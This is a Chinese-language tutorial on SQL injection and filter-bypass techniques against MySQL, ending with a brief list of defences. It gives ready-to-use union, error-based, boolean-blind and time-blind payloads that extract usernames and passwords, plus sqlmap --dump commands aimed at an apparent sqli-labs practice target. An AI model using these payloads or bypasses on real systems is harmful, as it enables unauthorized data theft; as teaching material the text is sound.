SQL注入原理及思路(绕过)-超详细
字数 3462 2025-08-11 08:36:31
SQL注入原理及绕过技术详解
1. SQL注入基础概念
1.1 SQL注入定义
SQL注入是指当Web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
1.2 SQL注入本质
SQL注入的本质是把用户输入的数据当作代码来执行,违背了"数据与代码分离"的原则。
1.3 SQL注入关键点
- 用户能控制输入的内容
- Web应用把用户输入的内容带入到数据库执行
1.4 SQL注入危害
- 盗取网站的敏感信息
- 绕过网站后台认证
- 借助SQL注入漏洞提权获取系统权限
- 读取文件信息
2. MySQL数据库常用函数
user()- 返回当前使用数据库的用户version()- 返回当前数据库的版本database()- 返回当前使用的数据库group_concat()- 把数据库中的某列数据合并为一个字符串@@datadir- 数据库路径@@version_compile_os- 操作系统版本
3. SQL注入流程
3.1 联合查询注入流程
-
判断有无闭合
?id=1 and 1=1和?id=1 and 1=2结果相同说明需要闭合- 有闭合则需要用到
--+闭合
-
猜解字段
order by 10采用二分法
-
判断数据回显位置
-1 union select 1,2,3,4,5...(参数等号后面加-表示不显示当前数据)
-
获取当前数据库信息
union select version(),database(),user(),4...
-
获取全部数据库名
union select 1,2,(select group_concat(schema_name)from information_schema.schemata)
-
获取表名
union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema='库名')
-
获取字段名
union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='表名')
-
获取数据
union select 1,2,(select group_concat(字段1,字段2)from 库名.表名)
4. SQL注入思路
4.1 判断注入点
在以下位置尝试插入代码、符号或语句:
- GET参数
- POST参数
- Cookie
- Referer
- XFF (X-Forwarded-For)
- User-Agent
4.2 注入点类型
- GET注入:在GET传参时写入参数,将SQL语句闭合
- POST注入:通过POST传参,原理与GET相同
- Cookie注入:修改cookie的值进行注入
- Referer注入:在访问路径进行SQL注入
- XFF注入:在HTTP头信息添加X-Forwarded-for进行注入
- UA注入:在User-Agent处注入
4.3 判断数据库类型
-
使用数据库特有函数判断
-
使用数据库专属符号判断(如注释符号、多语句查询符)
-
报错信息判断
-
数据库特性判断
-
端口扫描判断
- Oracle: 1521
- SQL Server: 1433
- MySQL: 3306
- PostgreSQL: 5432
-
网站类型与数据库联系
- ASP: SQL Server, Access
- .NET: SQL Server
- PHP: MySQL, PostgreSQL
- Java: Oracle, MySQL
-
根据注释符判断
#- MySQL--- Oracle和MSSQL;- 子句查询标识符(Oracle不支持多行查询)
-
根据数据库特有表判断
- MSSQL:
sysobjects - Access:
msysobjects - MySQL(5.0+):
information_schema.TABLES - Oracle:
sys.user_tables
- MSSQL:
4.4 判断参数数据类型
-
数值型注入
- 使用
and 1=1和and 1=2判断 - 示例:
select * from user where id = 1
- 使用
-
字符型注入
- 单引号字符型:
select * from user where username = 'zhangsan' - 双引号字符型:
select * from user where username = "zhangsan" - 带有括号的注入:
- 数值型+括号:
select * from user where id = (1) - 单引号字符串+括号:
select * from user where username = ('zhangsan') - 双引号字符串+括号:
select * from user where username = ("zhangsan")
- 数值型+括号:
- 单引号字符型:
4.5 判断数据库语句过滤情况
- 判断列数(
order by是否被过滤) - 判断显示位(页面是否有显示位)
- 报错信息(是否有报错信息返回)
5. 绕过技术
5.1 过滤关键字绕过
- 使用
/**/或<>分割关键字:sel<>ect或sel/**/ect - 双写绕过:
selselectect - 编码绕过:URL编码、16进制编码、ASCII编码
5.2 过滤逗号绕过
- 使用
join方法:union select * from (select 1)a join (select 2)b join (select 3) - 使用
from for语法:substr(str from pos for len)mid(str from pos for len)
- 使用
limit offset:limit 1 offset 1
5.3 过滤空格绕过
- 双空格
/**/- 用括号
- 用回车代替(ASCII码为chr(13)&chr(10),URL编码为%0d%0a)
5.4 过滤等号绕过
使用like、rlike、regexp或<、>代替
5.5 过滤大于小于号绕过
greatest(n1,n2,n3,...)- 返回最大值strcmp(str1,str2)- 字符串比较in操作符between and- 选取介于两个值之间的范围
5.6 等价函数绕过
hex()、bin()⇒ascii()sleep()⇒benchmark()concat_ws()⇒group_concat()mid()、substr()⇒substring()@@user⇒user()@@datadir⇒datadir()
6. 注入方式选择
6.1 联合查询注入
前提:知道列数且页面上有显示位。
步骤:
- 判断显示位
- 获取所有数据库名
- 获取指定数据库所有表名
- 获取指定数据库指定表中所有字段名
- 获取具体数据
示例:
-- 列数
select id,username,password from security.users where id=1 order by 1;
-- 显示位
select id,username,password from security.users where id=1 union select 1,2,3;
-- 数据库名
?id=-1' union select 1,2,database() --+
-- 所有数据库名
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
-- 指定数据库中表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
-- 指定表中所有字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
-- 具体数据
?id=-1' union select 1,2,group_concat(username,password) from users --+
6.2 报错注入
前提:页面会显示数据库报错信息。
示例:
-- 数据库名
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
-- 所有数据库名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name)from information_schema.schemata),0x7e),1) --+
-- 指定数据库中表名
?id=1' and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema='security' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
-- 指定表中所有字段名
?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+
-- 具体数据
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina' --+
6.3 布尔盲注
适用场景:没有显示位、没有报错信息,但有SQL语句执行错误信息输出。
示例:
-- 数据库长度
?id=1' and (length(database()))>7 --+
?id=1' and (length(database()))>8 --+
-- 数据库名
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
-- 逐个查询数据库名
?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
6.4 时间盲注
适用场景:页面上没有显示位,也没有输出SQL语句执行错误信息。
示例:
-- 猜解数据库个数
?id=1 and if((select count(schema_name) from information_schema.schemata)=9,sleep(5),1)
-- 猜解数据库名长度
?id=1 and if((select length(schema_name) from information_schema.schemata limit0,1)=18,sleep(5),1)
-- 猜解数据库名字符
?id=1 and if((select ascii(substr((select schema_name from information_schema.schemata limit0,1),1,1)))=105,sleep(5),1)
-- 当前数据库长度
?id=1'+and+if((length(database()))=7,sleep(5),1) --+
-- 当前数据库名
?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+
-- 猜解表名
?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=108,sleep(5),1) --+
7. 使用工具进行注入
7.1 sqlmap基础命令
-
联合查询注入:
.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=U -v 3 -
报错注入:
.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=E -v 3 -
布尔盲注:
.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=B -v 3 -
时间盲注:
.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=T -v 3
7.2 sqlmap爆破数据
--current-db- 当前使用的数据库--dbs- 列出数据库信息-D- 指定数据库,爆破指定数据库中的表-T- 指定数据表名,爆破指定表中的字段-C- 指定字段名,爆破具体数据--dump- 将数据导出、转储
示例:
.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=T -v 3 -D security -T users -C username,password --dump
8. 总结
SQL注入是一种危害极大的Web安全漏洞,攻击者可以通过精心构造的SQL语句获取数据库敏感信息、绕过认证甚至获取系统权限。防御SQL注入的关键在于:
- 使用参数化查询(预编译语句)
- 对用户输入进行严格的过滤和转义
- 最小权限原则,数据库账户只授予必要权限
- 定期进行安全审计和漏洞扫描
了解SQL注入原理和绕过技术对于安全研究人员和开发人员都至关重要,既能帮助发现和修复漏洞,也能提高系统安全性。